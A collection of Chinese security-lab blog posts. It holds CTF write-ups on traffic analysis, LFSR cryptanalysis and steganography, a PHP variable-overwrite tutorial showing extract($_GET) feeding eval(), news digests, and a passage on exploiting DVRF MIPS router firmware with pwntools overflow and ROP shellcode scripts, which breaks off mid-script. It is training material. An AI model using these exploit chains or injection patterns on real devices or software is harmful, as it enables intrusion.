你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  CTF套路千千万，今天来看看流量分析。 本次实验题目地址：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。 先来看题，给定的secret文件没有扩展名，我们需要先弄清楚文件的具体格式信息，才好进行更进一步的分析操作，这里使用TrID工具来对其进行识别。打开cmd命令提示符，切换到C:\Stegano\5目录，使用TrID对secret进行识别，如图所示： PCAP文件，这种类型的文件通常为网络通信流量抓包文件，可以使用Wireshark进行分析。我们给文件加上.pcap扩展名，然后使用Wireshark将其打开，就可以看到网络通信数据了，如图所示： 372条通信记录，算是很少很少的了，我们先看一下协议类型，除了TCP和UDP协议之外，更具体的协议大概有：TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析，以FTP协议为例，选中一条FTP通信记录，然后单击右键，在菜单中选择“Follow TCP Stream”，我们看到的信息如图所示： 其中有一个hello.txt文件以及super_secret_message.png文件，这两个文件看起来比较可疑。 我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中，因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析，我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件，现在我们需要将这两个文件的数据提取出来。 通过在Wireshark中对通信流量的分析，我们发现在包的序号为204的地方开始传送hello.txt的内容，在包的序号为312的地方开始传送super_secret_message.png的内容，如图所示： 因此我们可以在204以及312后面的数据包去找，以super_secret_message.png文件为例，我们发现序号为313的数据包的协议为FTP-DATA，选中该条记录之后，邮件选择“Follow TCP Stream”，显示方式选择“Raw”，然后选择“Save As”就可以保存这个PNG文件了，如下图所示： 打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337}，分析完毕。 老套路，还是隐写题，只是加了个流量分析，还要了解FTP协议，分析数据。找到突破口，合理的进行提取就可以事半功倍。 用实战磨练技术，加入网安实验室，1300+网安技能任你学！

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  概述: 线性反馈移位寄存器（LFSR）归属于移位寄存器（FSR）,除此之外还有非线性移位寄存器（NFSR）。移位寄存器是流密码产生密钥流的一个主要组成部分。 $GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成，如下图所示。    移位寄存器的三要素： 初始状态：由用户确定 反馈函数：$f(a_1,a_2,...,a_n)$是n元布尔函数，即函数的自变量和因变量只取0和1这两个可能值 输出序列 如果反馈函数是线性的，那么我们称其为 LFSR,如下图所示：    LFSR的输出序列{ $a_n$ }满足: $f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$ $a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$ $a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$ ..... $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 举例： 下面是一个5级的线性反馈移位寄存器，其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$  反馈函数为：$a{5+i} = a{3+i}⊕a_i$，(i = 1,2,...)可以得到输出序列为： 1001101001000010101110110001111 100110… 周期为31。 对于 n 级线性反馈移位寄存器，最长周期为$2^n-1$（排除全零）。达到最长周期的序列一般称为 m 序列 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 （本实验主要介绍了CTFCrypto练习之替换密码，通过本实验的学习，你能够了解CTF竞赛中的密码学题型，掌握凯撒密码破解方法，学会基于频率的替换密码破解方法。） 解决LFSR问题 Part(1) 2018 强网杯 Streamgame1 考点：已知反馈函数，输出序列，求逆推出初始状态 题目： from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用：判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位，bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&：参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh 考点: def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作，得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit) 题目已知条件为 flag长度为19bits,mask长度也为19bits. 由LFSR的输出序列{ $a_n$ }满足的条件: $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 可知，输出值$a{n+i}$的结果与c的值相关，即题目中的mask。只有当c的值为1时，$c_1a{n+i-1},...,c_na_i$的值才可能为1 题目中mask中只有第（3，4，5，9，13，14，17，19）位为1，其余都是0(mask这里右边才是第一位，从右往左增大) 现在我们的目的就是为了求出前19位seed的值，而我们已知了seed后面输出序列的值（题目中给的附件key.txt）。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值，即： key = 0101010100111000111 现在需要计算$a{19}$的值，假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算，那么我们将得到输出值为 key[-1]=1。 因为mask中只有第（3，4，5，9，13，14，17，19）位为1，所以线性反馈函数只取这几位对应的a值 1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17]) 得1=$a{19}$^0,得到$a{19}$=1 同理：R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1，求得$a_{18}$=1 第一种方法 #python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18 第二种方法 seed值只可能是0和1构成，所以猜就行了。 from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数，每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask 第三种方法 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str Part(1) 2018 强网杯 Streamgame2 考点：已知反馈函数，输出序列，求逆推出初始状态 题目 from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key"," 解法与 2018 强网杯 Streamgame1不能说是毫不相干，简直是一m0一样 from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp Part(3) [CISCN2018]oldstreamgame 考点：和前面的题目一样都是给出输出序列和反馈函数，求seed（初始状态） 题目： flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010 exp #python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in Part(4) [De1CTF2019]Babylfsr 考点：B-M 算法 题目给了度为256的lfsr，和输出长度为504的输出序列，并提示了FLAG的特征。 在CTFWiki中有介绍道 B-M 算法：如果我们知道了长度为 2n 的输出序列，那么就可以通过构造矩阵来求出 mask,时间复杂度：$O(n^2)$ 次比特操作,空间复杂度：$O(n)$ 比特。 题目： import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas  这题中输出序列只给出了504个值，根据 B-M 算法，我们需要确定512个值 (即长度为2n的序列，n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位，可以得到 256 种 mask 可能值，用这 256 个 mask 恢复出 256 个key 值，再用限制条件筛选出 flag.  #sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000 output: flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}  上面是我关于LFSR学习的一点总结，希望对大家有所帮助，后面会介绍关于LFSR更多的知识点. 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、IDA 7.6 版本发布原生支持 Apple M1 芯片 https://www.hex-rays.com/blog/ida-7-6-released/ 2、Purple Fox恶意软件通过Windows SMB进行蠕虫传播 https://www.securityweek.com/purple-fox-malware-squirms-worm-windows 3、研究人员将新的APT组织SilverFish与SolarWinds攻击关联 https://www.securityweek.com/researchers-dive-operations-silverfish-cyber-espionage-group 4、物联网公司Sierra Wireless 遭勒索软件攻击导致停产 https://www.securityweek.com/sierra-wireless-says-ransomware-disrupted-production-manufacturing-facilities 5、Google警告Android用户已修补的漏洞正被利用 https://www.securityweek.com/recently-patched-android-vulnerability-exploited-attacks 6、MangaDex漫画网站遭网络攻击后暂时关闭 https://www.bleepingcomputer.com/news/security/mangadex-manga-site-temporarily-shut-down-after-cyberattack/ 7、Black Kingdom勒索软件针对微软Exchange服务器 https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-now-targeted-by-black-kingdom-ransomware/ 8、Flagstar银行通知客户遭勒索软件后导致SSN丢失 https://www.vice.com/en/article/xgznxw/ransomwared-bank-tells-customers-it-lost-their-ssns 9、Facebook表示在2020年10月至12月关闭了13亿虚假帐号 https://telecom.economictimes.indiatimes.com/news/facebook-says-took-down-1-3-billion-fake-accounts-in-oct-dec/81633136 10、网络犯罪分子在暗网上提供伪造的COVID-19测试结果和疫苗接种证书 https://blog.checkpoint.com/2021/03/22/a-passport-to-freedom-fake-covid-19-test-results-and-vaccination-certificates-offered-on-darknet-and-hacking-forums

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  最近学习了图片隐写与音频隐写，这次来一个组合拳练习练习。  本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。 首先对内嵌文件数据分析打开stego4.jpg文件，图片里面显示了一段文字MUSTNOTHACK，其他似乎没有什么有用的信息。 我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理，如图所示： 可以看到里面多了一个7-zip，这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢？ 从BinWalk的分析结果可以看出，J其中RAR压缩包的文件偏移地址开始与0x1B8DD，这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具，选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件，然后右键选择“定义选择块”，填入数据块的起始地址为0x1B8DD，结束地址选择“文件结尾”，单击确定就选中数据块了，右键复制数据，然后新建一个十六进制文件，将原有的数据替换为复制的数据，保存即可得到压缩包文件。操作过程如图所示： 这样就得到了一个RAR压缩包文件了。 这个压缩包里面解压出来的flag.7z居然需要密码，p3文件也被隐藏起来了，在cmd中通过dir /AH命令就可以看到，使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性，如下图所示： 播放MP3文件并不能听到什么有用的信息，我们尝试使用MP3Stego检查文件中使用隐藏了数据，使用MP3Stego的时候需要指定一个密码，这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符，首先切换到C:\tools\MP3Stego\目录，然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3，如图所示： 之后我们提取出来一个txt文件，文件内容为INEVERASKEDABOUTTHIS! 把文本内容当成压缩密码输入，得到Flag为VERYEASYSTEGO，即题目要求我们所要寻找的字符串。 用实战磨练技术，加入网安实验室，1300+网安技能任你学！

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Adobe紧急更新修复了关键的ColdFusion漏洞 https://threatpost.com/adobe-critical-coldfusion-flaw-update/164946/2、CISA警告GE电源管理设备中的安全漏洞 https://threatpost.com/cisa-security-flaws-ge-power-management/164961/3、流行的Netop远程教学监控软件易受黑客攻击 https://thehackernews.com/2021/03/popular-netops-remote-learning-software.html4、Apache OFBiz ERP软件中发现严重的RCE漏洞 https://thehackernews.com/2021/03/critical-rce-vulnerability-found-in.html5、壳牌称在2020年12月网络攻击中公司数据被盗 https://www.securityweek.com/shell-says-personal-corporate-data-stolen-accellion-security-incident6、恶意软件CopperStealer针对亚马逊、苹果、Google等服务 https://cyware.com/news/a-new-account-stealing-malware-targets-global-tech-giants-e2995d5a7、攻击者发送《生化危机8》为诱饵的钓鱼邮件 https://blog.malwarebytes.com/scams/2021/03/resident-evil-8-just-the-latest-game-plagued-by-fake-demos-and-early-access-scams/8、黑客利用11个零日攻击Windows、iOS和Android用户 https://www.bleepingcomputer.com/news/security/hacking-group-used-11-zero-days-to-attack-windows-ios-android-users/9、DDoS-for-hire滥用DTLS服务器放大DDoS攻击 https://www.bleepingcomputer.com/news/security/ddos-booters-now-abuse-dtls-servers-to-amplify-attacks/10、Firefox将调整来源网址策略以增强用户隐私 https://www.zdnet.com/article/mozilla-firefox-tweaks-referrer-policy-to-shore-up-user-privacy/

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  前言 最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点，之前对这个方面学习的有点不全面，虽然网上有这方面的文章，但是感觉讲的不是很全面，所以就决定写一篇文章来总结这方面的知识。 本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee  （通过该实验，详细了解PHP中变量覆盖漏洞相关的知识。如：$使用不当，extract()函数使用不当，parse_str()函数使用不当，import_request_variables()使用不当，开启了全局变量注册等。） 漏洞原理 变量覆盖是指可以用自己的传参值代替程序原有的变量值。 漏洞寻找 例如下面的函数或者语法使用不当时就会出现漏洞。 $ extract() parse_str() import_request_variables() mb_parse_str register_globals 漏洞解析 这里先分析函数，再分析漏洞。 extract() 原理 extract()函数从数组中将变量导入到当前的符号表。 例如 <?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出： $a = C; $b = T; $c = F 攻击手段 这里先举个例子 <?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出： echo 'eeknight'; eeknight 在上面双引号包裹了单引号，然后通过eval去利用他，就可以直接输出单引号里的东西了。 为什么要说这个东西，因为当你单引号里的东西可以被利用，是不是就可以写什么执行什么了。 怎么利用呢，这时候刚才介绍的extract就发挥作用了。 把上面的例子简单改一下 <?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?> $ 原理 $产生的漏洞主要是因为foreach遍历数组的值，然后将获取的数组键名作为变量，数组中的值作为变量的值。 在这先简单介绍一下foreach和$。 foreach循环只适用于数组，并用于遍历数组中的每个键/值对。 <?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出：red green blue yellow $这里举个栗子 在PHP中，$var表示一个名为var的普通变量，它存储字符串、整数、浮点等任何值。而$var是一个引用变量，用于存储$var的值。 在我看来就是套娃。 <?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出：ee eeknight eeknight parse_str() parse_str()把查询字符串解析到变量中。 parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出：eeknight 20 攻击方式 通过上面的例子，可以想到，如果parse_str()括号是GET,PSOT等之类的，我们是不是就可以直接执行我们要的函数。 mb_parse_str mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量 具体的用法和上面的parse_str()一样。 这里就不多说明了。 import_request_variables() import_request_variables()函数将 GET／POST／Cookie 变量导入到全局作用域中。 <?php import_request_variables("gP", "ee_"); echo $ee_knight; ?> 攻击方式 只要利用了这个函数，就可以直接对里面的变量进行赋值。 register_globals register_globals的意思就是注册为全局变量 当php.ini中register_globals=On时，传递过来的值会被直接注册为全局变量，当为off时，需要到特定的数组中去得到 例子 <?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?> ON OFF 这里ON-->OFF的转换时记得重启一下apache。 一些附加说明 为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢 解：这些斜杠的的意思就是，让后面的变量失去意义。那么写的是什么就是什么。 parse_str() php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用，那么在parse_str()解析之前，变量会被 addslashes() 转换。 import_request_variables() 该函数在最新版本的 PHP 中已经不支持。 支持的版本：PHP 4 >= 4.1.0, PHP 5 < 5.4.0。 register_globals register_globals从php5.3.0起废弃，并从php5.4.0时移除。 漏洞防御 addslashes() addslashes()在每个双引号（"）前添加反斜杠。 使用原始变量，不进行变量注册； 验证变量存在，如果一定要进行变量注册，可以在注册变量前先判断变量是否存在。

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。 先看第一类题查看频谱图使用Audacity打开sound1.wav文件。 用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能，包括波形图、频谱图等各种图形可视化效果。 Audacity默认显示的是音频文件左右两个声道的波形图，我们可以尝试切换到频谱图进行分析，操作步骤为：在Audacity中点击第一个声道的波形图左侧的文件名（这里为sound1），在弹出的菜单中选择“频谱图”，就可以切换到频谱图模式了，如图所示： Get到flag一枚，神奇。 再来看题，使用Audacity打开sound2.wav文件，仔细听其中发出的声音，发现前面半段音频发出的声音很难挺清楚在说什么，而后面半段则可以清晰的听到一段英文发音。 听是不可能听出来的，这里音频可是被反向了，在Audacity中，选择“特效”、“反向”菜单项，然后播放反向之后的音频，如图所示： 处理之后，就可以清晰的听到声音the flag is high_level_encryption，这就是我们所要找的Flag字符串了。 还有一种。 继续看第三种使用Audacity打开sound3.wav文件，发现左右两个声道的波形图完全不一样，其中第一个波形图只在时间轴的中间部分存在一些有规律的小点，而第二个波形图则是正常的声音波形图，如下图所示： 按下键盘左下角的Ctrl按键，同时滚动鼠标滚轮，对波形图进行放大操作，其中第一个波形图放大后如图所示： 这种就是摩尔斯电码，这里考的也是摩尔斯电码，其中较短的波形表示点“.”，而较长的波形则表示横线“-”，而间隔较远的两个波形图则认为是两个不同的摩斯码。因此，第一个声道的波形图可以表示为：..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-. 使用JPK进行解码，打开桌面上的JPK，将摩斯码输入之后，依次选择菜单项“Ascii”、“Decode”、“DeMorse”，得到字符串5BC925649CB0188F52E617D70929191C，如图所示： 注意摩斯码不区分大小写，JPK默认转换为大写形式，所以如果得到的字符串提交不正确，可以尝试转换为小写形式提交。 这道题有3个问题，每一个都要仔细才能得出答案。和上次的隐写题一样，利用工具分析音频，再输入摩斯码就可以得出答案了。 想亲自体验这些精彩的实验吗？点击下方按钮注册，一起来实战！

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Zoom 存在敏感数据泄露漏洞 https://threatpost.com/zoom-glitch-leaks-data/164876/ 2、攻击者利用F5 BIG-IP 最近的高危漏洞进行攻击 https://threatpost.com/critical-f5-big-ip-flaw-now-under-active-attack/164940/ 3、CISA发布检测SolarWinds恶意活动的工具 https://securityaffairs.co/wordpress/115821/security/cisa-chirp-solarwinds-tool.html 4、Acer遭REvil勒索软件攻击并索取5000万美元赎金 https://securityaffairs.co/wordpress/115777/cyber-crime/acer-revil-ransomware.html 5、Defender现在可以保护服务器免受Exchange漏洞攻击 https://securityaffairs.co/wordpress/115801/hacking/microsoft-defender-microsoft-exchange.html 6、研究人员发现恶意加密程序OnionCrypter https://decoded.avast.io/jakubkaloc/onion-crypter/ 7、波兰国家网站遭黑客入侵被用来传播虚假信息 https://www.securityweek.com/polish-state-websites-hacked-and-used-spread-false-info 8、虚假PlayStation 5赠品网站窃取用户详细信息 https://www.technadu.com/dont-be-fooled-fake-playstation-5-giveaways/256837/ 9、虚假的Android Clubhouse应用从458个服务中窃取凭证 https://threatpost.com/android-clubhouse-app-malware/164915/ 10、新的Office 365网络钓鱼攻击针对保险和金融行业高管 https://threatpost.com/office-365-phishing-attack-financial-execs/164925/

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  DVRF 项目介绍 该项目目标是模拟一个真实的环境，帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有，请不要担心！可以用 qemu 模拟。 项目地址：https://github.com/praetorian-inc/DVRF 本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e  （通过本次实验学习如何在固件被加密的情况下进行解密，使得固件层面的路由器安全研究顺利进行。） 模拟环境 主要是用 ubuntu 16 ，如果部分题目用 qemu-user 模拟不了，就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址，问题不大只是查询方法饶了一点，还是可以解决的。 ubuntu 16.04 pwndbg Qemu-static(version 2.11.1) gdb-multiarch attify 3.0 下载地址：https://github.com/adi0x90/attifyos stack_bof_01 获取参数后，未校验长度赋值给局部变量造成栈溢出，有后门函数 0x00400950 ： Main 函数由 libc_main_start 调用，即 main 函数为非叶子函数，返回地址存放在栈上，从汇编可见： 直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据，地址等。 其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ，按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分： 调试方法 需要打开几个 terminal 启动不同的命令： 启动 qemu 模拟 -strace 查看 qemu 调试信息，方便观察执行了什么命令 qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa gdb-multiarch gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234 连上之后会停在 start ，在 main 函数开头打断点，运行到这个断点，然后就慢慢单步调试。 EXP 字符串是从参数读入，跳转地址转换后是不可见字符 ，需要借助 cat 传入参数 # file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload) 命令行执行： sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`" stack_bof_02 和前面一题差不多，调试方法也一样，就是少了后门函数，造成溢出函数变成了 strcpy ： main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化，相当于 aslr 关闭了，直接调试查出 v4 的内存地址 直接写入 shellcode 可以完整执行完，但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况，通过加无意义的指令(nop)调整 shellcode 位置有机会能成，用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断（只有不包含截断符指令都行），尝试后无果。 查阅资料后发现，由于 mips 是流水指令集，存在 cache incoherency 的特性，需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode 。 构造 ROP 的 gadget 得去 libc 找，程序自身没多少个。我在 ubuntu18 gdb 连上报错，换到 ubuntu16 vmmap 查不出来 libc 信息（如图），最后换 attify 解决问题。 libc路径：/squashfs-root/lib/libc.so.0 先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数，任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ，我选着第二个构造 gadget1 = 0x2FB10 ： .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818 接着需要找一个控制 s1 的 gadget ，用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多，最后选了 gadget2 = 0x00007730 ： .text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra 至此 a0 被控制为 1 ，目前 payload 结构为： payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra 不能直接将 sleep(0x767142b0) 填到 s1 处，因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器（或压栈）的过程，当 sleep 运行到结尾的 jalr $ra 时，又会跳转会到 gadget1 ，所以要换个方式。 mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ，选择了 gadget3 = 0x00020F1C ： .text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9 解决 sleep 运行结束返回地址问题，并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转，payload 结构： payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中，找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个，通过 gadget3 提前将下次跳转地址写入 s0 : .text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a 最后找一个用 a0 跳转的 gadget ，一开始用 mipsrop.tails() 没找到，最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ，对 mipsrop 理解不够…… .text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9 最后跳转 shellcode 时，0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ，用无意义指令填充，将 shellcode 向后移。 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32 EXP from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 